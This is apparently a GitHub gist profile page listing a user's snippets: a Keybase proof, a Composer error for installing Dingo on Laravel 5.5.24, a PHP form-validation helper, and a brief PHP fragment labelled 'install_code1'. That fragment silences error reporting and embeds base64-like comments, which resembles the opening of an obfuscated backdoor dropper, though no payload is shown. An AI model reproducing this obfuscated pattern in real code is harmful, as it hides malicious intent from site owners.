Skip to content

Instantly share code, notes, and snippets.

View informagenie's full-sized avatar

Mbungu Ngoma informagenie

View GitHub Profile
<?php
//install_code1
error_reporting(0);
ini_set('display_errors', 0);
//NBZ0lDQWdJQ0FnSUNBZ
DEFINE('MAX_LEVEL', 2);
//dJQ0FnSUNBZ0lDQWd
DEFINE('MAX_ITERATION', 50);
//Vwb3J0aW5nKDApOwovL2FIQU

Keybase proof

I hereby claim:

  • I am informagenie on github.
  • I am informagenie (https://keybase.io/informagenie) on keybase.
  • I have a public key ASA8tEiJxEf1aDZYybNsj3tcMiZvEqYznL4V3k5PPdK8Vgo

To claim this, I am signing this object:

@informagenie
informagenie / composer-error
Created December 25, 2017 00:05
Laravel error when install Dingo on 5.5.24 laravel version
Your requirements could not be resolved to an installable set of packages.
Problem 1
- Conclusion: don't install dingo/blueprint v0.2.3
- Installation request for dingo/api 2.0.0-alpha1 -> satisfiable by dingo/api[v2.0.0-alpha1].
- Conclusion: remove laravel/framework v5.5.24
- Installation request for phpdocumentor/reflection-docblock (locked at 4.2.0) -> satisfiable by phpdocumentor/reflection-docblock[4.2.0].
- Conclusion: don't install laravel/framework v5.5.24
- dingo/api v2.0.0-alpha1 requires dingo/blueprint ^0.2 -> satisfiable by dingo/blueprint[0.2.2, v0.2.0, v0.2.1, v0.2.3].
- don't install illuminate/filesystem v5.4.0|don't install laravel/framework v5.5.24
@informagenie
informagenie / validation.php
Last active April 11, 2018 18:06
Form validation
<?php
function show_error($key)
{
global $errors;
return !empty($errors[$key]) ? '<div class="error">'. $errors[$key] .'</div>' : '';
}
if(!empty($_POST))
{